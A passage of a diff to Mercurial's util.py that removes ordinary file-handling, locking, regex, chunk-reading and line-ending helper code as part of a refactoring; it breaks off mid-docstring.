160 def mainfrozen():
1648 """return True if we are a frozen executable.
161 """return True if we are a frozen executable.
1649
162
1650 The code supports py2exe (most common, Windows only) and tools/freeze
163 The code supports py2exe (most common, Windows only) and tools/freeze
1651 (portable, not much used).
164 (portable, not much used).
1652 """
165 """
1653 return (safehasattr(sys, "frozen") or # new py2exe
166 return (pycompat.safehasattr(sys, "frozen") or # new py2exe
1654 safehasattr(sys, "importers") or # old py2exe
167 pycompat.safehasattr(sys, "importers") or # old py2exe
1655 imp.is_frozen(u"__main__")) # tools/freeze
168 imp.is_frozen(u"__main__")) # tools/freeze
1656
169
1657 # the location of data files matching the source code
1658 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1659 # executable version (py2exe) doesn't support __file__
1660 datapath = os.path.dirname(pycompat.sysexecutable)
1661 else:
1662 datapath = os.path.dirname(pycompat.fsencode(__file__))
1663
1664 i18n.setdatapath(datapath)
1665
1666 _hgexecutable = None
170 _hgexecutable = None
1667
171
1668 def hgexecutable():
172 def hgexecutable():
@@ -1749,390 +253,6 b' def system(cmd, environ=None, cwd=None, '
1749 rc = 0
253 rc = 0
1750 return rc
254 return rc
1751
255
1752 def checksignature(func):
1753 '''wrap a function with code to check for calling errors'''
1754 def check(*args, **kwargs):
1755 try:
1756 return func(*args, **kwargs)
1757 except TypeError:
1758 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1759 raise error.SignatureError
1760 raise
1761
1762 return check
1763
1764 # a whilelist of known filesystems where hardlink works reliably
1765 _hardlinkfswhitelist = {
1766 'btrfs',
1767 'ext2',
1768 'ext3',
1769 'ext4',
1770 'hfs',
1771 'jfs',
1772 'NTFS',
1773 'reiserfs',
1774 'tmpfs',
1775 'ufs',
1776 'xfs',
1777 'zfs',
1778 }
1779
1780 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1781 '''copy a file, preserving mode and optionally other stat info like
1782 atime/mtime
1783
1784 checkambig argument is used with filestat, and is useful only if
1785 destination file is guarded by any lock (e.g. repo.lock or
1786 repo.wlock).
1787
1788 copystat and checkambig should be exclusive.
1789 '''
1790 assert not (copystat and checkambig)
1791 oldstat = None
1792 if os.path.lexists(dest):
1793 if checkambig:
1794 oldstat = checkambig and filestat.frompath(dest)
1795 unlink(dest)
1796 if hardlink:
1797 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1798 # unless we are confident that dest is on a whitelisted filesystem.
1799 try:
1800 fstype = getfstype(os.path.dirname(dest))
1801 except OSError:
1802 fstype = None
1803 if fstype not in _hardlinkfswhitelist:
1804 hardlink = False
1805 if hardlink:
1806 try:
1807 oslink(src, dest)
1808 return
1809 except (IOError, OSError):
1810 pass # fall back to normal copy
1811 if os.path.islink(src):
1812 os.symlink(os.readlink(src), dest)
1813 # copytime is ignored for symlinks, but in general copytime isn't needed
1814 # for them anyway
1815 else:
1816 try:
1817 shutil.copyfile(src, dest)
1818 if copystat:
1819 # copystat also copies mode
1820 shutil.copystat(src, dest)
1821 else:
1822 shutil.copymode(src, dest)
1823 if oldstat and oldstat.stat:
1824 newstat = filestat.frompath(dest)
1825 if newstat.isambig(oldstat):
1826 # stat of copied file is ambiguous to original one
1827 advanced = (
1828 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1829 os.utime(dest, (advanced, advanced))
1830 except shutil.Error as inst:
1831 raise error.Abort(str(inst))
1832
1833 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1834 """Copy a directory tree using hardlinks if possible."""
1835 num = 0
1836
1837 gettopic = lambda: hardlink and _('linking') or _('copying')
1838
1839 if os.path.isdir(src):
1840 if hardlink is None:
1841 hardlink = (os.stat(src).st_dev ==
1842 os.stat(os.path.dirname(dst)).st_dev)
1843 topic = gettopic()
1844 os.mkdir(dst)
1845 for name, kind in listdir(src):
1846 srcname = os.path.join(src, name)
1847 dstname = os.path.join(dst, name)
1848 def nprog(t, pos):
1849 if pos is not None:
1850 return progress(t, pos + num)
1851 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1852 num += n
1853 else:
1854 if hardlink is None:
1855 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1856 os.stat(os.path.dirname(dst)).st_dev)
1857 topic = gettopic()
1858
1859 if hardlink:
1860 try:
1861 oslink(src, dst)
1862 except (IOError, OSError):
1863 hardlink = False
1864 shutil.copy(src, dst)
1865 else:
1866 shutil.copy(src, dst)
1867 num += 1
1868 progress(topic, num)
1869 progress(topic, None)
1870
1871 return hardlink, num
1872
1873 _winreservednames = {
1874 'con', 'prn', 'aux', 'nul',
1875 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1876 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1877 }
1878 _winreservedchars = ':*?"<>|'
1879 def checkwinfilename(path):
1880 r'''Check that the base-relative path is a valid filename on Windows.
1881 Returns None if the path is ok, or a UI string describing the problem.
1882
1883 >>> checkwinfilename(b"just/a/normal/path")
1884 >>> checkwinfilename(b"foo/bar/con.xml")
1885 "filename contains 'con', which is reserved on Windows"
1886 >>> checkwinfilename(b"foo/con.xml/bar")
1887 "filename contains 'con', which is reserved on Windows"
1888 >>> checkwinfilename(b"foo/bar/xml.con")
1889 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1890 "filename contains 'AUX', which is reserved on Windows"
1891 >>> checkwinfilename(b"foo/bar/bla:.txt")
1892 "filename contains ':', which is reserved on Windows"
1893 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1894 "filename contains '\\x07', which is invalid on Windows"
1895 >>> checkwinfilename(b"foo/bar/bla ")
1896 "filename ends with ' ', which is not allowed on Windows"
1897 >>> checkwinfilename(b"../bar")
1898 >>> checkwinfilename(b"foo\\")
1899 "filename ends with '\\', which is invalid on Windows"
1900 >>> checkwinfilename(b"foo\\/bar")
1901 "directory name ends with '\\', which is invalid on Windows"
1902 '''
1903 if path.endswith('\\'):
1904 return _("filename ends with '\\', which is invalid on Windows")
1905 if '\\/' in path:
1906 return _("directory name ends with '\\', which is invalid on Windows")
1907 for n in path.replace('\\', '/').split('/'):
1908 if not n:
1909 continue
1910 for c in _filenamebytestr(n):
1911 if c in _winreservedchars:
1912 return _("filename contains '%s', which is reserved "
1913 "on Windows") % c
1914 if ord(c) <= 31:
1915 return _("filename contains '%s', which is invalid "
1916 "on Windows") % stringutil.escapestr(c)
1917 base = n.split('.')[0]
1918 if base and base.lower() in _winreservednames:
1919 return _("filename contains '%s', which is reserved "
1920 "on Windows") % base
1921 t = n[-1:]
1922 if t in '. ' and n not in '..':
1923 return _("filename ends with '%s', which is not allowed "
1924 "on Windows") % t
1925
1926 if pycompat.iswindows:
1927 checkosfilename = checkwinfilename
1928 timer = time.clock
1929 else:
1930 checkosfilename = platform.checkosfilename
1931 timer = time.time
1932
1933 if safehasattr(time, "perf_counter"):
1934 timer = time.perf_counter
1935
1936 def makelock(info, pathname):
1937 """Create a lock file atomically if possible
1938
1939 This may leave a stale lock file if symlink isn't supported and signal
1940 interrupt is enabled.
1941 """
1942 try:
1943 return os.symlink(info, pathname)
1944 except OSError as why:
1945 if why.errno == errno.EEXIST:
1946 raise
1947 except AttributeError: # no symlink in os
1948 pass
1949
1950 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1951 ld = os.open(pathname, flags)
1952 os.write(ld, info)
1953 os.close(ld)
1954
1955 def readlock(pathname):
1956 try:
1957 return os.readlink(pathname)
1958 except OSError as why:
1959 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1960 raise
1961 except AttributeError: # no symlink in os
1962 pass
1963 fp = posixfile(pathname, 'rb')
1964 r = fp.read()
1965 fp.close()
1966 return r
1967
1968 def fstat(fp):
1969 '''stat file object that may not have fileno method.'''
1970 try:
1971 return os.fstat(fp.fileno())
1972 except AttributeError:
1973 return os.stat(fp.name)
1974
1975 # File system features
1976
1977 def fscasesensitive(path):
1978 """
1979 Return true if the given path is on a case-sensitive filesystem
1980
1981 Requires a path (like /foo/.hg) ending with a foldable final
1982 directory component.
1983 """
1984 s1 = os.lstat(path)
1985 d, b = os.path.split(path)
1986 b2 = b.upper()
1987 if b == b2:
1988 b2 = b.lower()
1989 if b == b2:
1990 return True # no evidence against case sensitivity
1991 p2 = os.path.join(d, b2)
1992 try:
1993 s2 = os.lstat(p2)
1994 if s2 == s1:
1995 return False
1996 return True
1997 except OSError:
1998 return True
1999
2000 try:
2001 import re2
2002 _re2 = None
2003 except ImportError:
2004 _re2 = False
2005
2006 class _re(object):
2007 def _checkre2(self):
2008 global _re2
2009 try:
2010 # check if match works, see issue3964
2011 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
2012 except ImportError:
2013 _re2 = False
2014
2015 def compile(self, pat, flags=0):
2016 '''Compile a regular expression, using re2 if possible
2017
2018 For best performance, use only re2-compatible regexp features. The
2019 only flags from the re module that are re2-compatible are
2020 IGNORECASE and MULTILINE.'''
2021 if _re2 is None:
2022 self._checkre2()
2023 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2024 if flags & remod.IGNORECASE:
2025 pat = '(?i)' + pat
2026 if flags & remod.MULTILINE:
2027 pat = '(?m)' + pat
2028 try:
2029 return re2.compile(pat)
2030 except re2.error:
2031 pass
2032 return remod.compile(pat, flags)
2033
2034 @propertycache
2035 def escape(self):
2036 '''Return the version of escape corresponding to self.compile.
2037
2038 This is imperfect because whether re2 or re is used for a particular
2039 function depends on the flags, etc, but it's the best we can do.
2040 '''
2041 global _re2
2042 if _re2 is None:
2043 self._checkre2()
2044 if _re2:
2045 return re2.escape
2046 else:
2047 return remod.escape
2048
2049 re = _re()
2050
2051 _fspathcache = {}
2052 def fspath(name, root):
2053 '''Get name in the case stored in the filesystem
2054
2055 The name should be relative to root, and be normcase-ed for efficiency.
2056
2057 Note that this function is unnecessary, and should not be
2058 called, for case-sensitive filesystems (simply because it's expensive).
2059
2060 The root should be normcase-ed, too.
2061 '''
2062 def _makefspathcacheentry(dir):
2063 return dict((normcase(n), n) for n in os.listdir(dir))
2064
2065 seps = pycompat.ossep
2066 if pycompat.osaltsep:
2067 seps = seps + pycompat.osaltsep
2068 # Protect backslashes. This gets silly very quickly.
2069 seps.replace('\\','\\\\')
2070 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2071 dir = os.path.normpath(root)
2072 result = []
2073 for part, sep in pattern.findall(name):
2074 if sep:
2075 result.append(sep)
2076 continue
2077
2078 if dir not in _fspathcache:
2079 _fspathcache[dir] = _makefspathcacheentry(dir)
2080 contents = _fspathcache[dir]
2081
2082 found = contents.get(part)
2083 if not found:
2084 # retry "once per directory" per "dirstate.walk" which
2085 # may take place for each patches of "hg qpush", for example
2086 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2087 found = contents.get(part)
2088
2089 result.append(found or part)
2090 dir = os.path.join(dir, part)
2091
2092 return ''.join(result)
2093
2094 def checknlink(testfile):
2095 '''check whether hardlink count reporting works properly'''
2096
2097 # testfile may be open, so we need a separate file for checking to
2098 # work around issue2543 (or testfile may get lost on Samba shares)
2099 f1, f2, fp = None, None, None
2100 try:
2101 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
2102 suffix='1~', dir=os.path.dirname(testfile))
2103 os.close(fd)
2104 f2 = '%s2~' % f1[:-2]
2105
2106 oslink(f1, f2)
2107 # nlinks() may behave differently for files on Windows shares if
2108 # the file is open.
2109 fp = posixfile(f2)
2110 return nlinks(f2) > 1
2111 except OSError:
2112 return False
2113 finally:
2114 if fp is not None:
2115 fp.close()
2116 for f in (f1, f2):
2117 try:
2118 if f is not None:
2119 os.unlink(f)
2120 except OSError:
2121 pass
2122
2123 def endswithsep(path):
2124 '''Check path ends with os.sep or os.altsep.'''
2125 return (path.endswith(pycompat.ossep)
2126 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
2127
2128 def splitpath(path):
2129 '''Split path by os.sep.
2130 Note that this function does not use os.altsep because this is
2131 an alternative of simple "xxx.split(os.sep)".
2132 It is recommended to use os.path.normpath() before using this
2133 function if need.'''
2134 return path.split(pycompat.ossep)
2135
2136 def gui():
256 def gui():
2137 '''Are we running in a GUI?'''
257 '''Are we running in a GUI?'''
2138 if pycompat.isdarwin:
258 if pycompat.isdarwin:
@@ -2148,574 +268,6 b' def gui():'
2148 else:
268 else:
2149 return pycompat.iswindows or encoding.environ.get("DISPLAY")
269 return pycompat.iswindows or encoding.environ.get("DISPLAY")
2150
270
2151 def mktempcopy(name, emptyok=False, createmode=None):
2152 """Create a temporary file with the same contents from name
2153
2154 The permission bits are copied from the original file.
2155
2156 If the temporary file is going to be truncated immediately, you
2157 can use emptyok=True as an optimization.
2158
2159 Returns the name of the temporary file.
2160 """
2161 d, fn = os.path.split(name)
2162 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
2163 os.close(fd)
2164 # Temporary files are created with mode 0600, which is usually not
2165 # what we want. If the original file already exists, just copy
2166 # its mode. Otherwise, manually obey umask.
2167 copymode(name, temp, createmode)
2168 if emptyok:
2169 return temp
2170 try:
2171 try:
2172 ifp = posixfile(name, "rb")
2173 except IOError as inst:
2174 if inst.errno == errno.ENOENT:
2175 return temp
2176 if not getattr(inst, 'filename', None):
2177 inst.filename = name
2178 raise
2179 ofp = posixfile(temp, "wb")
2180 for chunk in filechunkiter(ifp):
2181 ofp.write(chunk)
2182 ifp.close()
2183 ofp.close()
2184 except: # re-raises
2185 try:
2186 os.unlink(temp)
2187 except OSError:
2188 pass
2189 raise
2190 return temp
2191
2192 class filestat(object):
2193 """help to exactly detect change of a file
2194
2195 'stat' attribute is result of 'os.stat()' if specified 'path'
2196 exists. Otherwise, it is None. This can avoid preparative
2197 'exists()' examination on client side of this class.
2198 """
2199 def __init__(self, stat):
2200 self.stat = stat
2201
2202 @classmethod
2203 def frompath(cls, path):
2204 try:
2205 stat = os.stat(path)
2206 except OSError as err:
2207 if err.errno != errno.ENOENT:
2208 raise
2209 stat = None
2210 return cls(stat)
2211
2212 @classmethod
2213 def fromfp(cls, fp):
2214 stat = os.fstat(fp.fileno())
2215 return cls(stat)
2216
2217 __hash__ = object.__hash__
2218
2219 def __eq__(self, old):
2220 try:
2221 # if ambiguity between stat of new and old file is
2222 # avoided, comparison of size, ctime and mtime is enough
2223 # to exactly detect change of a file regardless of platform
2224 return (self.stat.st_size == old.stat.st_size and
2225 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
2226 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
2227 except AttributeError:
2228 pass
2229 try:
2230 return self.stat is None and old.stat is None
2231 except AttributeError:
2232 return False
2233
2234 def isambig(self, old):
2235 """Examine whether new (= self) stat is ambiguous against old one
2236
2237 "S[N]" below means stat of a file at N-th change:
2238
2239 - S[n-1].ctime < S[n].ctime: can detect change of a file
2240 - S[n-1].ctime == S[n].ctime
2241 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2242 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2243 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2244 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2245
2246 Case (*2) above means that a file was changed twice or more at
2247 same time in sec (= S[n-1].ctime), and comparison of timestamp
2248 is ambiguous.
2249
2250 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2251 timestamp is ambiguous".
2252
2253 But advancing mtime only in case (*2) doesn't work as
2254 expected, because naturally advanced S[n].mtime in case (*1)
2255 might be equal to manually advanced S[n-1 or earlier].mtime.
2256
2257 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2258 treated as ambiguous regardless of mtime, to avoid overlooking
2259 by confliction between such mtime.
2260
2261 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2262 S[n].mtime", even if size of a file isn't changed.
2263 """
2264 try:
2265 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2266 except AttributeError:
2267 return False
2268
2269 def avoidambig(self, path, old):
2270 """Change file stat of specified path to avoid ambiguity
2271
2272 'old' should be previous filestat of 'path'.
2273
2274 This skips avoiding ambiguity, if a process doesn't have
2275 appropriate privileges for 'path'. This returns False in this
2276 case.
2277
2278 Otherwise, this returns True, as "ambiguity is avoided".
2279 """
2280 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2281 try:
2282 os.utime(path, (advanced, advanced))
2283 except OSError as inst:
2284 if inst.errno == errno.EPERM:
2285 # utime() on the file created by another user causes EPERM,
2286 # if a process doesn't have appropriate privileges
2287 return False
2288 raise
2289 return True
2290
2291 def __ne__(self, other):
2292 return not self == other
2293
2294 class atomictempfile(object):
2295 '''writable file object that atomically updates a file
2296
2297 All writes will go to a temporary copy of the original file. Call
2298 close() when you are done writing, and atomictempfile will rename
2299 the temporary copy to the original name, making the changes
2300 visible. If the object is destroyed without being closed, all your
2301 writes are discarded.
2302
2303 checkambig argument of constructor is used with filestat, and is
2304 useful only if target file is guarded by any lock (e.g. repo.lock
2305 or repo.wlock).
2306 '''
2307 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2308 self.__name = name # permanent name
2309 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2310 createmode=createmode)
2311 self._fp = posixfile(self._tempname, mode)
2312 self._checkambig = checkambig
2313
2314 # delegated methods
2315 self.read = self._fp.read
2316 self.write = self._fp.write
2317 self.seek = self._fp.seek
2318 self.tell = self._fp.tell
2319 self.fileno = self._fp.fileno
2320
2321 def close(self):
2322 if not self._fp.closed:
2323 self._fp.close()
2324 filename = localpath(self.__name)
2325 oldstat = self._checkambig and filestat.frompath(filename)
2326 if oldstat and oldstat.stat:
2327 rename(self._tempname, filename)
2328 newstat = filestat.frompath(filename)
2329 if newstat.isambig(oldstat):
2330 # stat of changed file is ambiguous to original one
2331 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2332 os.utime(filename, (advanced, advanced))
2333 else:
2334 rename(self._tempname, filename)
2335
2336 def discard(self):
2337 if not self._fp.closed:
2338 try:
2339 os.unlink(self._tempname)
2340 except OSError:
2341 pass
2342 self._fp.close()
2343
2344 def __del__(self):
2345 if safehasattr(self, '_fp'): # constructor actually did something
2346 self.discard()
2347
2348 def __enter__(self):
2349 return self
2350
2351 def __exit__(self, exctype, excvalue, traceback):
2352 if exctype is not None:
2353 self.discard()
2354 else:
2355 self.close()
2356
2357 def unlinkpath(f, ignoremissing=False):
2358 """unlink and remove the directory if it is empty"""
2359 if ignoremissing:
2360 tryunlink(f)
2361 else:
2362 unlink(f)
2363 # try removing directories that might now be empty
2364 try:
2365 removedirs(os.path.dirname(f))
2366 except OSError:
2367 pass
2368
2369 def tryunlink(f):
2370 """Attempt to remove a file, ignoring ENOENT errors."""
2371 try:
2372 unlink(f)
2373 except OSError as e:
2374 if e.errno != errno.ENOENT:
2375 raise
2376
2377 def makedirs(name, mode=None, notindexed=False):
2378 """recursive directory creation with parent mode inheritance
2379
2380 Newly created directories are marked as "not to be indexed by
2381 the content indexing service", if ``notindexed`` is specified
2382 for "write" mode access.
2383 """
2384 try:
2385 makedir(name, notindexed)
2386 except OSError as err:
2387 if err.errno == errno.EEXIST:
2388 return
2389 if err.errno != errno.ENOENT or not name:
2390 raise
2391 parent = os.path.dirname(os.path.abspath(name))
2392 if parent == name:
2393 raise
2394 makedirs(parent, mode, notindexed)
2395 try:
2396 makedir(name, notindexed)
2397 except OSError as err:
2398 # Catch EEXIST to handle races
2399 if err.errno == errno.EEXIST:
2400 return
2401 raise
2402 if mode is not None:
2403 os.chmod(name, mode)
2404
2405 def readfile(path):
2406 with open(path, 'rb') as fp:
2407 return fp.read()
2408
2409 def writefile(path, text):
2410 with open(path, 'wb') as fp:
2411 fp.write(text)
2412
2413 def appendfile(path, text):
2414 with open(path, 'ab') as fp:
2415 fp.write(text)
2416
2417 class chunkbuffer(object):
2418 """Allow arbitrary sized chunks of data to be efficiently read from an
2419 iterator over chunks of arbitrary size."""
2420
2421 def __init__(self, in_iter):
2422 """in_iter is the iterator that's iterating over the input chunks."""
2423 def splitbig(chunks):
2424 for chunk in chunks:
2425 if len(chunk) > 2**20:
2426 pos = 0
2427 while pos < len(chunk):
2428 end = pos + 2 ** 18
2429 yield chunk[pos:end]
2430 pos = end
2431 else:
2432 yield chunk
2433 self.iter = splitbig(in_iter)
2434 self._queue = collections.deque()
2435 self._chunkoffset = 0
2436
2437 def read(self, l=None):
2438 """Read L bytes of data from the iterator of chunks of data.
2439 Returns less than L bytes if the iterator runs dry.
2440
2441 If size parameter is omitted, read everything"""
2442 if l is None:
2443 return ''.join(self.iter)
2444
2445 left = l
2446 buf = []
2447 queue = self._queue
2448 while left > 0:
2449 # refill the queue
2450 if not queue:
2451 target = 2**18
2452 for chunk in self.iter:
2453 queue.append(chunk)
2454 target -= len(chunk)
2455 if target <= 0:
2456 break
2457 if not queue:
2458 break
2459
2460 # The easy way to do this would be to queue.popleft(), modify the
2461 # chunk (if necessary), then queue.appendleft(). However, for cases
2462 # where we read partial chunk content, this incurs 2 dequeue
2463 # mutations and creates a new str for the remaining chunk in the
2464 # queue. Our code below avoids this overhead.
2465
2466 chunk = queue[0]
2467 chunkl = len(chunk)
2468 offset = self._chunkoffset
2469
2470 # Use full chunk.
2471 if offset == 0 and left >= chunkl:
2472 left -= chunkl
2473 queue.popleft()
2474 buf.append(chunk)
2475 # self._chunkoffset remains at 0.
2476 continue
2477
2478 chunkremaining = chunkl - offset
2479
2480 # Use all of unconsumed part of chunk.
2481 if left >= chunkremaining:
2482 left -= chunkremaining
2483 queue.popleft()
2484 # offset == 0 is enabled by block above, so this won't merely
2485 # copy via ``chunk[0:]``.
2486 buf.append(chunk[offset:])
2487 self._chunkoffset = 0
2488
2489 # Partial chunk needed.
2490 else:
2491 buf.append(chunk[offset:offset + left])
2492 self._chunkoffset += left
2493 left -= chunkremaining
2494
2495 return ''.join(buf)
2496
2497 def filechunkiter(f, size=131072, limit=None):
2498 """Create a generator that produces the data in the file size
2499 (default 131072) bytes at a time, up to optional limit (default is
2500 to read all data). Chunks may be less than size bytes if the
2501 chunk is the last chunk in the file, or the file is a socket or
2502 some other type of file that sometimes reads less data than is
2503 requested."""
2504 assert size >= 0
2505 assert limit is None or limit >= 0
2506 while True:
2507 if limit is None:
2508 nbytes = size
2509 else:
2510 nbytes = min(limit, size)
2511 s = nbytes and f.read(nbytes)
2512 if not s:
2513 break
2514 if limit:
2515 limit -= len(s)
2516 yield s
2517
2518 class cappedreader(object):
2519 """A file object proxy that allows reading up to N bytes.
2520
2521 Given a source file object, instances of this type allow reading up to
2522 N bytes from that source file object. Attempts to read past the allowed
2523 limit are treated as EOF.
2524
2525 It is assumed that I/O is not performed on the original file object
2526 in addition to I/O that is performed by this instance. If there is,
2527 state tracking will get out of sync and unexpected results will ensue.
2528 """
2529 def __init__(self, fh, limit):
2530 """Allow reading up to <limit> bytes from <fh>."""
2531 self._fh = fh
2532 self._left = limit
2533
2534 def read(self, n=-1):
2535 if not self._left:
2536 return b''
2537
2538 if n < 0:
2539 n = self._left
2540
2541 data = self._fh.read(min(n, self._left))
2542 self._left -= len(data)
2543 assert self._left >= 0
2544
2545 return data
2546
2547 def readinto(self, b):
2548 res = self.read(len(b))
2549 if res is None:
2550 return None
2551
2552 b[0:len(res)] = res
2553 return len(res)
2554
2555 def unitcountfn(*unittable):
2556 '''return a function that renders a readable count of some quantity'''
2557
2558 def go(count):
2559 for multiplier, divisor, format in unittable:
2560 if abs(count) >= divisor * multiplier:
2561 return format % (count / float(divisor))
2562 return unittable[-1][2] % count
2563
2564 return go
2565
2566 def processlinerange(fromline, toline):
2567 """Check that linerange <fromline>:<toline> makes sense and return a
2568 0-based range.
2569
2570 >>> processlinerange(10, 20)
2571 (9, 20)
2572 >>> processlinerange(2, 1)
2573 Traceback (most recent call last):
2574 ...
2575 ParseError: line range must be positive
2576 >>> processlinerange(0, 5)
2577 Traceback (most recent call last):
2578 ...
2579 ParseError: fromline must be strictly positive
2580 """
2581 if toline - fromline < 0:
2582 raise error.ParseError(_("line range must be positive"))
2583 if fromline < 1:
2584 raise error.ParseError(_("fromline must be strictly positive"))
2585 return fromline - 1, toline
2586
2587 bytecount = unitcountfn(
2588 (100, 1 << 30, _('%.0f GB')),
2589 (10, 1 << 30, _('%.1f GB')),
2590 (1, 1 << 30, _('%.2f GB')),
2591 (100, 1 << 20, _('%.0f MB')),
2592 (10, 1 << 20, _('%.1f MB')),
2593 (1, 1 << 20, _('%.2f MB')),
2594 (100, 1 << 10, _('%.0f KB')),
2595 (10, 1 << 10, _('%.1f KB')),
2596 (1, 1 << 10, _('%.2f KB')),
2597 (1, 1, _('%.0f bytes')),
2598 )
2599
2600 class transformingwriter(object):
2601 """Writable file wrapper to transform data by function"""
2602
2603 def __init__(self, fp, encode):
2604 self._fp = fp
2605 self._encode = encode
2606
2607 def close(self):
2608 self._fp.close()
2609
2610 def flush(self):
2611 self._fp.flush()
2612
2613 def write(self, data):
2614 return self._fp.write(self._encode(data))
2615
2616 # Matches a single EOL which can either be a CRLF where repeated CR
2617 # are removed or a LF. We do not care about old Macintosh files, so a
2618 # stray CR is an error.
2619 _eolre = remod.compile(br'\r*\n')
2620
2621 def tolf(s):
2622 return _eolre.sub('\n', s)
2623
2624 def tocrlf(s):
2625 return _eolre.sub('\r\n', s)
2626
2627 def _crlfwriter(fp):
2628 return transformingwriter(fp, tocrlf)
2629
2630 if pycompat.oslinesep == '\r\n':
2631 tonativeeol = tocrlf
2632 fromnativeeol = tolf
2633 nativeeolwriter = _crlfwriter
2634 else:
2635 tonativeeol = pycompat.identity
2636 fromnativeeol = pycompat.identity
2637 nativeeolwriter = pycompat.identity
2638
2639 if (pyplatform.python_implementation() == 'CPython' and
2640 sys.version_info < (3, 0)):
2641 # There is an issue in CPython that some IO methods do not handle EINTR
2642 # correctly. The following table shows what CPython version (and functions)
2643 # are affected (buggy: has the EINTR bug, okay: otherwise):
2644 #
2645 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2646 # --------------------------------------------------
2647 # fp.__iter__ | buggy | buggy | okay
2648 # fp.read* | buggy | okay [1] | okay
2649 #
2650 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2651 #
2652 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2653 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2654 #
2655 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2656 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2657 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2658 # fp.__iter__ but not other fp.read* methods.
2659 #
2660 # On modern systems like Linux, the "read" syscall cannot be interrupted
2661 # when reading "fast" files like on-disk files. So the EINTR issue only
2662 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2663 # files approximately as "fast" files and use the fast (unsafe) code path,
2664 # to minimize the performance impact.
2665 if sys.version_info >= (2, 7, 4):
2666 # fp.readline deals with EINTR correctly, use it as a workaround.
2667 def _safeiterfile(fp):
2668 return iter(fp.readline, '')
2669 else:
2670 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2671 # note: this may block longer than necessary because of bufsize.
2672 def _safeiterfile(fp, bufsize=4096):
2673 fd = fp.fileno()
2674 line = ''
2675 while True:
2676 try:
2677 buf = os.read(fd, bufsize)
2678 except OSError as ex:
2679 # os.read only raises EINTR before any data is read
2680 if ex.errno == errno.EINTR:
2681 continue
2682 else:
2683 raise
2684 line += buf
2685 if '\n' in buf:
2686 splitted = line.splitlines(True)
2687 line = ''
2688 for l in splitted:
2689 if l[-1] == '\n':
2690 yield l
2691 else:
2692 line = l
2693 if not buf:
2694 break
2695 if line:
2696 yield line
2697
2698 def iterfile(fp):
2699 fastpath = True
2700 if type(fp) is file:
2701 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2702 if fastpath:
2703 return fp
2704 else:
2705 return _safeiterfile(fp)
2706 else:
2707 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2708 def iterfile(fp):
2709 return fp
2710
2711 def iterlines(iterator):
2712 for chunk in iterator:
2713 for line in chunk.splitlines():
2714 yield line
2715
2716 def expandpath(path):
2717 return os.path.expanduser(os.path.expandvars(path))
2718
2719 def hgcmd():
271 def hgcmd():
2720 """Return the command used to execute current hg
272 """Return the command used to execute current hg
2721
273
@@ -2765,1327 +317,3 b' def rundetached(args, condfn):'
2765 finally:
317 finally:
2766 if prevhandler is not None:
318 if prevhandler is not None:
2767 signal.signal(signal.SIGCHLD, prevhandler)
319 signal.signal(signal.SIGCHLD, prevhandler)
2768
2769 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2770 """Return the result of interpolating items in the mapping into string s.
2771
2772 prefix is a single character string, or a two character string with
2773 a backslash as the first character if the prefix needs to be escaped in
2774 a regular expression.
2775
2776 fn is an optional function that will be applied to the replacement text
2777 just before replacement.
2778
2779 escape_prefix is an optional flag that allows using doubled prefix for
2780 its escaping.
2781 """
2782 fn = fn or (lambda s: s)
2783 patterns = '|'.join(mapping.keys())
2784 if escape_prefix:
2785 patterns += '|' + prefix
2786 if len(prefix) > 1:
2787 prefix_char = prefix[1:]
2788 else:
2789 prefix_char = prefix
2790 mapping[prefix_char] = prefix_char
2791 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2792 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2793
2794 def getport(port):
2795 """Return the port for a given network service.
2796
